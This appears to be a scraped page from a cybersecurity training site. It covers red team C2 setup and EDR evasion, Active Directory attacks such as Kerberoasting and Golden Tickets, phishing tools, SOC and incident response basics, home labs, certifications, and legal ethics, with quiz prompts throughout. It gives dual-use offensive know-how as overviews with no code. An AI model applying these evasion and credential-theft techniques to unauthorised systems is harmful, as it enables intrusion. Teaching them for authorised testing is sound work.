Use MITRE ATT&CK to map techniques and ensure comprehensive coverage. Document every action with timestamps, screenshots, and evidence. The goal is to test detection and response capabilities, not just find vulnerabilities.
📝 Quick Quiz
What framework maps adversary tactics and techniques for red team planning?
Command & Control Infrastructure
C2 setup: Redirectors (nginx, domain fronting), Listeners (HTTPS, DNS, SMB), Malleable C2 profiles (mimic legitimate traffic). Infrastructure: VPS providers, CDN for domain fronting, multiple domains.
Evasion: sleep jitter, encrypted communications, custom loaders, process injection, unhooking EDR. Use BOF (Beacon Object Files) for in-memory execution. Malleable profiles mimic Google, jQuery, or cloud service traffic.
Tools: Cobalt Strike (industry standard), Sliver (open-source), Havoc (modern), Brute Ratel (EDR evasion). Consider OPSEC: avoid known IOCs, rotate infrastructure, use unique payloads per engagement.
📝 Quick Quiz
What C2 technique mimics legitimate web traffic?
Active Directory Attacks
AD attack chain: enumerate → escalate → persist → exfiltrate. BloodHound: map attack paths to Domain Admin. SharpHound: collect AD data. PowerView: enumerate AD objects, ACLs, and trusts.
Escalation: Kerberoasting (crack service tickets), AS-REP Roasting (target no-preauth accounts), Unconstrained Delegation (capture TGTs), PrintNightmare (RCE as SYSTEM), Zerologon (domain takeover).
Persistence: Golden Ticket (forged TGT), Diamond Ticket (forged TGT with legitimate TGT), Skeleton Key (inject into LSASS), AdminSDHolder (ACL persistence). Each has different detection signatures.
📝 Quick Quiz
What AD attack forges a TGT using the domain hash?
Physical Security & Social Engineering
Physical security testing: Lock picking, badge cloning, tailgating, USB drop attacks. Test building access controls, visitor management, and clean desk policies.
Social engineering campaigns: Phishing (email), vishing (phone), smishing (SMS), pretexting (fabricated scenarios). Use OSINT to craft convincing lures targeting specific employees.
Tools: GoPhish (phishing campaigns), SET (social engineering toolkit), Evilginx2 (real-time proxy phishing). Measure click rates, credential submission rates, and reporting rates to assess security awareness.
📝 Quick Quiz
What type of social engineering uses phone calls?
📝 Quick Quiz
MITRE ATT&CK organizes adversary behavior into:
📝 Quick Quiz
TTP stands for:
📝 Quick Quiz
Adversary emulation is based on:
📝 Quick Quiz
Poor OPSEC during an engagement can:
Blue Team & Defensive Security
Defensive security operations, threat detection, incident response, and security monitoring.
| Command / Term | What it does |
|---|---|
| SOC | Security Operations Center |
| SIEM | Central log collection + alerting |
| EDR | Endpoint detection/response |
| IR phases | Preparation, Detection, Containment, Eradication, Recovery, Lessons |
| Threat hunting | Proactive hypothesis-driven search |
| Playbooks | Documented response procedures |
| IOCs | Indicators of Compromise: IPs, hashes, domains |
| SOAR | Automation of security operations |
Security Operations Center (SOC)
SOC tiers: Tier 1 (alert triage, initial analysis), Tier 2 (deep investigation, threat hunting), Tier 3 (advanced analysis, malware reverse engineering). SOC analysts monitor SIEM, EDR, and network security tools.
SIEM deployment: Splunk, ELK Stack, Wazuh, Microsoft Sentinel. Ingest logs from firewalls, endpoints, proxies, DNS, and applications. Create correlation rules for known attack patterns.
Alert management: tune false positives, prioritize by severity, document investigation steps, escalate confirmed incidents. Use SOAR platforms (Splunk SOAR, Phantom) to automate repetitive response actions.
📝 Quick Quiz
What does SIEM stand for?
Threat Detection & Hunting
Detection engineering: create rules for known TTPs. YARA: malware signatures. Sigma: generic detection rules for SIEM. Snort/Suricata: network IDS rules. Map detections to MITRE ATT&CK.
Threat hunting: proactively search for IOCs and TTPs. Hypothesis-driven: 'Adversary may use PowerShell for C2.' Test with data analysis, log queries, and behavioral analytics. Use Jupyter notebooks for analysis.
Behavioral analytics: UEBA (User and Entity Behavior Analytics) establishes baselines and detects anomalies. Monitor for: unusual login times, lateral movement, data access patterns, and process execution anomalies.
📝 Quick Quiz
What rule format is used for generic SIEM detection rules?
Incident Response & Forensics
NIST IR lifecycle: Preparation → Detection → Containment → Eradication → Recovery → Lessons Learned. Each phase has specific procedures, tools, and deliverables.
Containment strategies: network isolation, account disabling, DNS sinkholing, firewall rule updates. Eradication: remove malware, patch vulnerabilities, reset credentials. Recovery: restore from clean backups, monitor for reinfection.
DFIR tools: Velociraptor (endpoint visibility), Autopsy (disk forensics), Volatility (memory forensics), KAPE (triage collection). Document everything for potential legal proceedings.
📝 Quick Quiz
What is the first step in incident containment?
Vulnerability Management
Vulnerability management lifecycle: Discover (scan), Assess (prioritize), Remediate (patch/mitigate), Verify (rescan), Report (metrics). Continuous process, not one-time.
Scanning tools: Nessus, OpenVAS, Qualys, Rapid7 InsightVM. Scan frequency: critical assets weekly, all assets monthly. Prioritize by CVSS score, exploitability, and asset criticality.
Metrics: Mean Time to Remediate (MTTR), vulnerability density, patch coverage, SLA compliance. Track trends over time to demonstrate improvement. Integrate with ticketing systems for workflow management.
📝 Quick Quiz
What metric measures average time to fix vulnerabilities?
📝 Quick Quiz
A SIEM provides:
📝 Quick Quiz
The first phase of incident response is:
📝 Quick Quiz
Threat hunting is best described as:
📝 Quick Quiz
Which is a classic indicator of compromise?
Home Lab & Practice
Build a cybersecurity home lab with virtual machines, vulnerable machines, and practice environments.
| Command / Term | What it does |
|---|---|
| VirtualBox | Free Type-2 hypervisor |
| Proxmox | Type-1 hypervisor + management |
| Kali VM | Attack workstation |
| Parrot / Ubuntu | Secondary VMs |
| Snapshots | Revert VMs to clean state |
| Isolated network | Host-only / NAT, no prod routing |
| pfSense | Free firewall/router VM |
| Wordlists | rockyou.txt, SecLists |
Lab Architecture & Setup
Minimum requirements: 16GB RAM (32GB recommended), 500GB SSD, CPU with virtualization support (Intel VT-x/AMD-V). VMware Workstation or VirtualBox (free) for virtualization.
Network design: Host-only network for isolated lab. NAT network for internet access. Custom virtual networks for simulating enterprise environments (VLANs, DMZ). Configure in hypervisor settings.
Essential VMs: Kali Linux (attacker), Parrot OS (alternative attacker), Ubuntu Server (target), Windows 10 (target), Windows Server (AD domain controller). Use snapshots before exploitation.
📝 Quick Quiz
What minimum RAM is recommended for a cybersecurity home lab?
Vulnerable Machines & CTF Platforms
Vulnerable by design: DVWA (Damn Vulnerable Web App), VulnHub (downloadable VMs), HackTheBox (online labs), TryHackMe (guided learning), PentesterLab (web exercises).
Specific targets: Metasploitable 2/3 (intentionally vulnerable Linux), Windows XP/7 (legacy, unpatched), WebGoat (OWASP web security), Damn Vulnerable iOS App (DVIA).
CTF approach: start with walkthroughs, then attempt independently. Document your methodology. Focus on learning, not just flags. Participate in CTF competitions: picoCTF, National Cyber League, DEF CON CTF.
📝 Quick Quiz
Which platform provides intentionally vulnerable web applications for practice?
Active Directory Lab
Build an AD environment: Windows Server (Domain Controller), Windows 10 (workstations), Windows Server (member server). Use Vagrant or manual setup.
Configure: domain, users, groups, GPOs,OU structure, trusts, and services (DNS, DHCP, DHCP, Kerberos). Create realistic OU hierarchy with delegation. Add complexity: multiple forests, child domains, trusts.
Practice: Kerberoasting, AS-REP Roasting, GPP password abuse, delegation attacks, ACL abuse, domain trusts. Use BloodHound to map attack paths. Document findings as if conducting a real engagement.
📝 Quick Quiz
What tool automates AD lab creation?
Automation & Documentation
Automate lab setup: Vagrant (VM provisioning), Ansible (configuration management), Docker (containerized services). Create playbooks for consistent environments.
Documentation: maintain a lab journal documenting configurations, exercises completed, and lessons learned. Use Git to version control scripts and configurations. Create network diagrams with draw.io or Lucidchart.
Share knowledge: write blog posts, create tutorials, contribute to open-source lab environments. Join communities: r/homelab, r/cybersecurity, Discord servers. Collaborate on lab improvements and new challenges.
📝 Quick Quiz
What tool provides infrastructure-as-code for VM provisioning?
📝 Quick Quiz
Which free hypervisor is popular for home security labs?
📝 Quick Quiz
VM snapshots let you:
📝 Quick Quiz
An isolated lab network should:
📝 Quick Quiz
Which platform manages multiple VMs with a web UI?
Career & Certifications
Navigate cybersecurity career paths, certifications, job hunting, and professional development.
| Command / Term | What it does |
|---|---|
| Entry certs | CompTIA Security+, Network+ |
| Intermediate | CEH, CySA+, SSCP |
| Advanced offensive | OSCP, OSCE, GPEN |
| Advanced defense | CISSP, GIAC, GCIH |
| Skills | Linux, networking, scripting (Python), cloud |
| Practical | TryHackMe, HackTheBox, bug bounties |
| Resume | Projects, labs, certs, measurable impact |
| Roles | SOC analyst, pentester, incident responder |
Career Paths & Specializations
Defensive Security: SOC Analyst → Threat Hunter → Detection Engineer → Security Architect → CISO. Offensive Security: Junior Pen Tester → Senior Pen Tester → Red Team Lead → Principal Consultant.
Governance & Compliance: Security Analyst → GRC Analyst → Compliance Manager → CISO. Incident Response: IR Analyst → IR Lead → DFIR Consultant → IR Manager. Cloud Security: Cloud Security Engineer → Cloud Architect → Cloud Security Lead.
Emerging fields: AI/ML Security, IoT Security, DevSecOps, Supply Chain Security, OT/ICS Security. Specialize based on interests and market demand. Build a home lab to practice.
📝 Quick Quiz
What is the typical career progression for a SOC Analyst?
Certifications Roadmap
Entry level: CompTIA Security+ (foundational), CompTIA Network+ (networking), CompTIA CySA+ (defensive). Intermediate: eJPT (junior pen testing), CompTIA Pentest+, CEH.
Advanced: OSCP (Offensive Security Certified Professional — gold standard for pen testing), OSCE (advanced exploitation), PNPT (practical network pen testing), CRTP/CRTE (AD attacks).
Specialized: CISSP (management), CCSP (cloud), GIAC (various specializations), CISM (management), CISA (audit). Choose based on career goals — technical vs. management track.
📝 Quick Quiz
Which certification is considered the gold standard for penetration testing?
Building a Portfolio & Resume
GitHub portfolio: document projects, scripts, lab setups, write-ups. Contribute to open-source security tools. Blog: write about CTF solutions, tool reviews, vulnerability research. Demonstrate continuous learning.
Resume tips: quantify achievements ('Reduced vulnerability remediation time by 40%'), list relevant certifications, include home lab experience, and highlight specific tools and technologies.
LinkedIn: connect with security professionals, share articles, engage with the community. Join OWASP chapters, attend BSides conferences, participate in DEF CON groups. Network actively — many jobs come through referrals.
📝 Quick Quiz
What is the best way to demonstrate practical security skills?
Interview Preparation
Technical interviews: expect questions on networking (OSI, TCP/IP), Linux fundamentals, security concepts (CIA triad, defense in depth), and tool usage. Practice over-the-shoulder exercises where you solve problems live.
Behavioral interviews: use STAR method (Situation, Task, Action, Result). Prepare examples of problem-solving, teamwork, and handling pressure. Research the company's tech stack and recent security incidents.
Practical assessments: many employers use HackerRank, CTF-style challenges, or live demonstrations. Practice on TryHackMe, HackTheBox, and picoCTF. Be ready to explain your methodology and thought process.
📝 Quick Quiz
What interview method structures responses with Situation, Task, Action, Result?
📝 Quick Quiz
Which is the standard entry-level security certification?
📝 Quick Quiz
A practical portfolio (CTF write-ups, labs) shows:
📝 Quick Quiz
Which certification is known as advanced offensive/pen-testing?
📝 Quick Quiz
Bug bounty programs help beginners by:
Legal & Ethics
Understand cybersecurity laws, regulations, ethical hacking guidelines, and professional responsibility.
| Command / Term | What it does |
|---|---|
| CFAA | US law: unauthorized access is a crime |
| GDPR | EU data protection; breach disclosure |
| Responsible disclosure | Report to vendor, give time to fix |
| Scope | Only authorized targets |
| Consent | Always written permission |
| HIPAA / PCI DSS | Healthcare / payment data rules |
| Hacking without permission | Illegal even if "just exploring" |
| Bug bounty TOS | Follow the program rules exactly |
Cybersecurity Laws & Regulations
CFAA (Computer Fraud and Abuse Act — US): criminalizes unauthorized access to computer systems. GDPR (EU): protects personal data, requires breach notification within 72 hours. HIPAA: protects healthcare information.
PCI DSS: requirements for handling payment card data. SOX: financial reporting requirements. FISMA: federal information security requirements. CCPA/CPRA: California consumer privacy rights.
International: UK Computer Misuse Act, Australian Cybercrime Act, Indian IT Act. Each jurisdiction has specific laws about unauthorized access, data protection, and breach notification. Know the laws in your jurisdiction.
📝 Quick Quiz
What US law criminalizes unauthorized access to computer systems?
Ethical Hacking Guidelines
Get written authorization before any security testing. Define scope, rules of engagement, and emergency contacts. Never exceed authorized scope — even discovering a critical vulnerability outside scope should be reported through proper channels.
Responsible disclosure: report vulnerabilities to vendors before public disclosure. Allow reasonable time for remediation (typically 90 days). Use CVE process for public tracking. Coordinate through CERT/CC or vendor security teams.
Professional ethics: Do no harm — avoid disrupting production systems. Protect client data — handle sensitive information securely. Be transparent — report all findings, including those favorable to the client. Maintain confidentiality — don't share engagement details.
📝 Quick Quiz
What is the minimum requirement before conducting any penetration test?
Data Privacy & Protection
Data classification: Public, Internal, Confidential, Restricted. Each level has handling requirements. Data minimization: collect only what's necessary. Purpose limitation: use data only for stated purposes.
Privacy regulations: GDPR (right to erasure, data portability, consent), CCPA (right to know, delete, opt-out), PIPEDA (Canada), LGPD (Brazil). Implement privacy by design and by default.
Breach notification: GDPR requires notification within 72 hours. US state laws vary (California: 'expedient', others specify timeframes). HIPAA requires notification within 60 days. Document all breach response actions for legal compliance.
📝 Quick Quiz
Under GDPR, within what timeframe must a data breach be reported?
Professional Ethics & Codes of Conduct
(ISC)² Code of Ethics: protect society, act honorably, provide diligent service, advance the profession. EC-Council Code of Ethics: compliance with laws, honest representation, and professional development.
Ethical dilemmas: discovering client vulnerabilities during unrelated work, handling findings thatimplicate employees, balancing transparency with client interests. Always err on the side of protecting society.
Continuous education: maintain certifications, stay current with threats and technologies, participate in professional communities. The cybersecurity landscape evolves rapidly — complacency creates risk for you and your clients.
📝 Quick Quiz
What is the first principle of the (ISC)² Code of Ethics?
📝 Quick Quiz
The US CFAA criminalizes:
📝 Quick Quiz
GDPR primarily protects:
📝 Quick Quiz
Responsible disclosure requires the researcher to:
📝 Quick Quiz
Testing a system you own without anyone's permission is:
My Notes
SavedYour notes are saved automatically and persist between sessions.
Lab Center
Complete scenario-based mission labs to earn XP. Each lab chains a story, real terminal commands, and questions — one step at a time.
💻 CTF Terminal Challenges
- Open the terminal and type
challenge - Open one:
challenge b64_easy - Read the GOAL and DATA, follow HOW TO SOLVE
- Submit:
challenge b64_easy CTF{...}
📝 Section Exercises
- Open any topic from the menu
- Scroll to the Practical Lab at the bottom
- Type your answer and press Verify
- Each one earns +25 XP
🚀 Mission Labs
- Pick a lab card above (they unlock in order)
- Complete each step to advance the story
- Command steps: type the command, press Run
- Question steps: type the answer, press Submit
⚑ Terminal Challenges
Short CTF puzzles you can solve directly in the terminal with the challenge command.
⚡ Section Exercises
The practical lab at the bottom of each learning section — revisit any you missed.
★ My Progress
Your journey across modules, labs, challenges and quizzes — climb the ranks as you go.
Security Glossary
Searchable glossary of essential cybersecurity terms, acronyms, and concepts. Use the box below or press Ctrl+G to jump here anytime.